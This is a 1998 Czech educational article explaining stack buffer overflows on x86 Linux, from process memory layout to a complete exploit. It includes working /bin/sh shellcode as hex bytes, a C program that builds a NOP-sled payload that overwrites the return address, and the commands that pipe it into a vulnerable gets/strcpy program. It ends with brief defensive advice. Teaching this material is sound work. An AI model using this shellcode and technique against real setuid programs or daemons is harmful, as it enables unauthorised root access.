Přetečení bufferu
-=-=-=-=-=-=-=-=-=-
"Never make any mistaeks."
(Anonymous, in a mail discussion about to a kernel bug report.)
David Rohleder, 3. března 1998
Přetečení bufferu je jednou z nejčastějších bezpečnostních děr
v programech UNIXových systémů.
Programovací jazyky, které umožňují rekurzivní volání
podprogramů (podprogram je rekurzivní, jestliže jeho nová aktivace
může začít ještě před tím, než se ukončí jeho předchozí aktivace)
musí pro jejich volání používat nějakou dynamickou strukturu,
která udržuje informace potřebné k úspěšnému návratu z podprogramu.
K tomuto účelu se používá zásobník.
Oblasti
Nejdříve si musíme vysvětlit, jak je proces organizován
v paměti. Proces je rozdělen na tři hlavní oblasti: text, data
a zásobník.
Textová oblast obsahuje kód programu a data určená pouze pro
čtení. Tato oblast je v paměti označena pouze pro čtení a není možno
do ní zapisovat. Pokus o zápis vyvolá porušení ochrany paměti.
V Linuxu proto není možné psát samomodifikující se programy (no jo,
kecám :--).
Datová oblast obsahuje inicializovaná a neinicializovaná data.
Obsahuje všechny globální proměnné a dynamicky alokované proměnné.
S velikostí datové oblasti je možné manipulovat pomocí volání brk(2)
a sbrk(2).
Zásobník slouží především k uložení lokálních proměnných
a předávání parametrů funkcím. Mezi bss a zásobník se ještě mapují
sdílené knihovny a věci, které lze mapovat pomocí mmap(2).
Zásobníková oblast je souvislý blok paměti obsahující data.
Na vrchol zásobníku ukazuje (u procesorů Intel) registr SP. Dno
zásobníku je na pevné adrese. Procesor používá pro manipulaci se
zásobníkem dvě instrukce: PUSH pro ukládání a POP pro vybírání dat
ze zásobníku. Zásobník v závislosti na typu procesoru roste buď
směrem k nižším nebo k vyšším adresám. U procesorů Intel, SPARC
a MIPS roste zásobník směrem k nižším adresám.
Zásobník používají programy k volání svých podprogramů,
předávání parametrů a ukládání lokálních proměnných. Na zásobníku
jsou uloženy ve formě tzv. aktivačního záznamu AZ. Při implementaci
přidělování paměti bývá jeden registr vyhrazen jako ukazatel na
začátek aktuálního aktivačního záznamu. Vzhledem k tomuto registru
se pak počítají adresy datových objektů umístěných v aktivačním
záznamu. U procesorů Intel se používá registr BP (Base Pointer).
Naplnění tohoto registru a přidělení nového aktivačního záznamu
je součástí volací posloupnosti (prologu) podprogramu. Volací
posloupnost je rozdělena mezi volající a volaný podprogram. Volající
uloží do zásobníku parametry předávané podprogramu. Pak zavolá
pomocí instrukce CALL volaný podprogram. Návratová adresa je uložena
na zásobník. Volaný podprogram na zásobník uloží ukazatel na starý
aktivační záznam (BP), pak do ukazatele BP uloží vrchol zásobníku
a nakonec vyhradí místo pro lokální proměnné. Podprogram potom
inicializuje lokální proměnné a začne provádět své tělo.
int f(int a, int b, int c)
{
char buffer[5];
char buffer2[10];
return a+b;
}
void main(void)
{
f(1,2,3);
}
Pomocí gcc vygenerujeme assemblerový kód:
gcc -S -o example1.s example1.c
Příslušný kód pro volání funkce f vypadá následovně:
pushl 3
pushl 2
pushl 1
call f
Program uloží tři argumenty v pořadí od posledního k prvnímu
na zásobník a pak zavolá funkci f. Toto pořadí ukládání parametrů
na zásobník umožňuje snadné volání funkcí s proměnlivým počtem
parametrů (funkce s výpustkou -- int funkce(...)). Instrukce call
f uloží na zásobník návratovou adresu (návrat je pak proveden
instrukcí RET).
Volaný podprogram pak provede prolog:
/* uloží ukazatel na starý AZ do zásobníku */
pushl %ebp
/* do BP uloží ukazatel na nový AZ */
movl %esp,%ebp
/* vyhrazení místa pro lokální proměnné */
subl 20,%esp
Uloží registr ukazující na stávající aktivační záznam (ebp)
a uloží do něj nový ukazatel na právě vytvářený záznam. Pak vytvoří
místo pro lokální proměnné. Překladač zarovnává proměnné na délku
slova (tzn. v našem případě 4B). Takže bytový buffer velikosti 5
bytů ve skutečnosti zabírá 8 bytů a buffer2 zabírá 12 bytů. Proto
je nutno od SP odečíst 20.
Po provedení těla podprogramu je nutné obnovit stav, který
byl před voláním podprogramu. Tento postup se nazývá návratová
posloupnost function epilog) a je opět rozdělen mezi volaný
a volající podprogram. Volaný podprogram odstraní ze zásobníku
lokální proměnné a obnoví ukazatel na předchozí AZ. Potom pomocí
instrukce RET vrátí řízení volajícímu podprogramu. Volající
podprogram dokončí návratovou posloupnost tím, že odstraní ze
zásobníku parametry předávané podprogramu.
Návratová posloupnost volaného podprogramu:
/* odstranění lokálních proměnných ze zásobníku */
movl %ebp,%esp
/* obnovení ukazatele na AZ volajícího podprogramu */
popl %ebp
/* návrat do volajícího podprogramu */
ret
Návratová posloupnost volajícího podprogramu:
/* odstranění předávaných parametrů ze zásobníku */
addl 12,%esp
Přetečení bufferu
Data se tedy do zásobníku vkládají od vyšších adres k nižším.
Většina operací se ovšem provádí od nižších adres k vyšším adresám.
Typickým příkladem může být kopírování řetězců
#include <<string.h>>
#include <<stdio.h>>
void f(char *str)
{
char buffer[96];
/* tady jsou nějaké instrukce */
strcpy(buffer,str);
/* tady mohou být nějaké další instrukce */
}
char retezec[512];
void main(void)
{
gets(retezec);
f(retezec);
}
gcc -o example2 example2.c
./example2
Opravdu velmi ..... sem doplňte min. 90 \
znaků .... dlouhý string
^D
Segmentation fault (core dumped)
Zde programátor udělal chybu, když neošetřil stav, kdy je
do proměnné buffer uloženo více dat než je její velikost. To se mu
ovšem krutě vymstí. Protože je proměnná buffer uložena na zásobníku,
který roste od vyšších adres k nižším, jsou přepsány všechny
informace, které se nacházejí nad proměnnou buffer. Naneštěstí zde
leží také návratová adresa do volajícího podprogramu. Při pokusu
o návrat tedy s největší pravděpodobností dojde k porušení ochrany
paměti a k násilnému ukončení procesu.
Ale co s tím? Zatím to nevypadá na nějakou možnost zneužití.
Program se pokoušel provést kód, kde žádný kód nebyl a tak
interpretovat v podstatě náhodný kód nebo sáhl do oblasti, ke které
neměl přístup. Ale co se stane v případě, kdy na daném místě
skutečně nějaký programový kód bude? Kód se jednoduše provede.
Nejjednodušší případ
Zřejmě nejjednodušší je spuštění shellu. Na návratovou adresu,
kterou přepsal příliš dlouhý řetězec umístíme volání jádra execve
pro spuštění shellu (/bin/sh). Jediné co musíme vědět je, jak takové
volání vypadá
#include <<unistd.h>>
int main()
{
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
return 0;
}
gcc -g -O example3.c -o example3
Výstup z gdb vypadá pro funkci main() následovně:
(gdb) disas main
Dump of assembler code for function main:
0x8048140 <<main>>: pushl %ebp
0x8048141 <<main+1>>: movl %esp,%ebp
0x8048143 <<main+3>>: pushl 0x0
0x8048145 <<main+5>>: pushl 0x0
0x8048147 <<main+7>>: pushl 0x8058828
0x804814c <<main+12>>: call 0x8048354 <<execve>>
0x8048151 <<main+17>>: xorl %eax,%eax
0x8048153 <<main+19>>: movl %ebp,%esp
0x8048155 <<main+21>>: popl %ebp
0x8048156 <<main+22>>: ret
End of assembler dump.
(gdb)
Disassemblovaný výstup z funkce execve():
0x8048354 <<execve>>: pushl %ebp
0x8048355 <<execve+1>>: movl %esp,%ebp
0x8048357 <<execve+3>>: pushl %ebx
0x8048358 <<execve+4>>: movl 0xb,%eax
0x804835d <<execve+9>>: movl 0x8(%ebp),%ebx
0x8048360 <<execve+12>>: movl 0xc(%ebp),%ecx
0x8048363 <<execve+15>>: movl 0x10(%ebp),%edx
0x8048366 <<execve+18>>: int 0x80
0x8048368 <<execve+20>>: movl %eax,%edx
0x804836a <<execve+22>>: testl %edx,%edx
0x804836c <<execve+24>>: jnl 0x804837e <<execve+42>>
0x804836e <<execve+26>>: negl %edx
0x8048370 <<execve+28>>: pushl %edx
0x8048371 <<execve+29>>: call 0x8050a44 <<__normal_errno_location>>
0x8048376 <<execve+34>>: popl %edx
0x8048377 <<execve+35>>: movl %edx,(%eax)
0x8048379 <<execve+37>>: movl 0xffffffff,%eax
0x804837e <<execve+42>>: popl %ebx
0x804837f <<execve+43>>: movl %ebp,%esp
0x8048381 <<execve+45>>: popl %ebp
0x8048382 <<execve+46>>: ret
0x8048383 <<execve+47>>: nop
Nejdůležitější činností knihovní funkce execve je volání jádra
vytvářející nový proces. V Linuxu pro Intel se pro volání jádra
používá přerušení int 80. Číslo funkce jádra se předává v registru
eax a případné parametry pak v dalších registrech. Číslo 0xb je
právě číslo funkce v jádře, která přepíše stávající kód novým kódem
a spustí jej.
Nyní by stačilo použít tuto část kódu jako řetězec, kterým
přetečeme buffer v níže uvedeném programu. Jsou zde ovšem dva malé
problémy. Řetězec "/bin/sh" se do volání execve() předává jako
ukazatel na řetězec. Tento řetězec je umístěn v datovém segmentu.
Protože nemůžeme počítat s tím, že program, který se snažíme
napadnout bude mít někde v paměti řetězec "/bin/sh" musíme si ho
dodat sami. Druhý problém spočívá v tom, že kód obsahuje nulové byty
-- chceme totiž pro přetečení bufferu použít volání strcpy().
Řešení prvního problému je následující: řetězec "/bin/sh"
umístíme na konec našeho řetězce s kódem. Nyní musíme ovšem zjistit
adresu tohoto řetězce. Použijeme k tomu sekvenci relativního skoku
(jmp) a relativního volání (call). Instrukci jmp umístíme na začátek
kódu. Instrukci call na konec kódu, těsně před řetězec "/bin/sh".
Instrukce jmp provede relativní skok na instrukci call, která uloží
do zásobníku návratovou adresu a provede skok na instrukci těsně za
jmp. Instrukce call uloží na zásobník adresu následující instrukce.
Za call ovšem není instrukce, ale řetězec "/bin/sh". Tímto poněkud
komplikovaným způsobem jsme získali adresu řetězce "/bin/sh".
Druhý problém vyřešíme pomocí instrukce xor %eax,%eax,
tak dostaneme do registru eax nulu bez uvedení nulového bytu. Tak
na všechna místa, kde by měla být nula umístíme nulu až v době běhu
našeho kódu.
#include <<stdlib.h>>
#define BUFFER_SIZE 96
#define AZ 12
#define NAS_BUFFER BUFFER_SIZE+AZ+1
#define NOP 0x90
/* Velikost bufferu, který se snažíme přetéct.
* Na začátku bude obsahovat instrukce nop a * na konci adresy začátku programu
* AZ ... velikost aktivačního záznamu
*/
/*
* řetězec použitý pro spuštění programu /bin/sh
* podle chuti je možno nahradit /bin/sh jinym programem
* se jménem o délce 7 znaků: např. /bin/ps
*/
char shell[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char *buff, *ptr;
unsigned long *addr, *addr_ptr;
int i;
void main(int argc, char *argv[])
{
if (argc<<2) {
printf("špatný počet argumentů\n");
exit(1);
}
sscanf(argv[1],"%p",&addr);
if(!(buff = malloc(NAS_BUFFER))){
printf("Nedostatek paměti ???\n");
exit(1);
}
addr_ptr = (long *) buff ;
for(i=0;i<<(NAS_BUFFER);i+=4)
*(addr_ptr++) = addr;
/* pár NOPů na začátek nemůže uškodit */
for(i=0;i<<20;i++) *(buff+i) = NOP;
ptr=buff+20;
for (i=0;i<<strlen(shell);i++) *ptr++=shell[i];
buff[NAS_BUFFER-1]='\0';
printf("%s\n",buff);
}
Z programu na výpisu pak získáme řetězec, který spolu s dalšími
částmi použijeme při přetečení bufferu. Program, který tento řetězec
vytvoří je na výpisu:
void main()
{
__asm__("
jmp 0x1f # skok na instrukci call
popl %esi # adresa řetězce /bin/sh
movl %esi,0x8(%esi) # druhý parametr volání execve na zásobník
xorl %eax,%eax #
movb %eax,0x7(%esi) # ukončí řetězec /bin/sh nulou
movl %eax,0xc(%esi) # třetí parametr volání execve na zásobník
movb 0xb,%al # syscall 11 -- execve
movl %esi,%ebx # první parametr do %ebx
leal 0x8(%esi),%ecx # druhý parametr do %ecx
leal 0xc(%esi),%edx # třetí parametr do %edx
int 0x80 # volání jádra execve
xorl %ebx,%ebx # proběhne pouze v případě,
movl %ebx,%eax # že volání execve selže, pak se volá
inc %eax #
int 0x80 # exit(0)
call -0x24 # získání adresy řetězce a návrat na začátek
.string "/bin/sh"
");
}
Tímto způsobem vygenerujeme řetězec, který bude na začátku
obsahovat několik instrukcí NOP (pro jistotu, nemusí tam být),
pak řetězec, který spouští program /bin/sh a nakonec adresu
začátku řetězce, kterou zadáme jako parametr (touto částí přepíšeme
návratovou adresu). Nyní ovšem musíme zjistit, kde začíná proměnná
buffer na zásobníku. Asi nejjednodušší způsob je upravit program
example2.c, aby nám tuto adresu vytiskl
#include <<string.h>>
#include <<stdio.h>>
void f(char *str)
{
char buffer[96];
fprintf(stderr,"Zásobník: %p\n",buffer);
strcpy(buffer,str);
}
char retezec[512];
void main(void)
{
gets(retezec);
f(retezec);
}
Funkčnost programu ověříme následovně:
gcc -o example5 example5.c
gcc -o example6 example6.c
./example6
^D
Zásobník: 0xbffffabc
./example5 0xbffffabc | ./example6
\end{verbatim}%
A nyní na původním programu:
\begin{verbatim}
./example6
^D
Zásobník: 0xbffffabc
./example5 0xbffffabc | ./example2
Pokud jsme postupovali správně, tak se speciálním vstupem
dosáhneme spuštění jiného programu (pokud to není zřejmé, zkuste
nahradit řetězec "/bin/sh" řetězcem "/bin/ps"). Představte si
takovou chybu například v programu finger (dříve byl spouštěn pod
uživatelem root).
Zneužití?
Možnost zneužití takovéto programátorské chyby obvykle závisí
na charakteristice daného programu. O zneužití se dá hovořit zejména
v případě programů s propůjčením identifikace vlastníka (suid)
nebo aplikací spuštěných s oprávněním někoho jiného a čtoucí data
od uživatele (např. síťové démony). Asi nejznámější případ takového
druhu zneužití byl tzv. Morrisův internetový červ zneužívající mimo
jiné přetečení bufferu při čtení dat v démonu finger(1).
Obrana?
Správné programovací techniky :--). Záměna funkcí typu strcpy()
za funkce strncpy(), gets() za fgets() a pod. Dalšími možnostmi jsou
zejména speciálně upravené překladače nebo přímo patch do jádra.
O tom možná někdy příště...
Použitá literatura: Smith, Nathan P.: Stack Smashing
Vulnerabilities in the UNIX Operating System http://millcomm.com/
nate/machines/security/stack-smashing/, Aleph One: Smashing The
Stack For Fun And Profit Phrack 49
výheň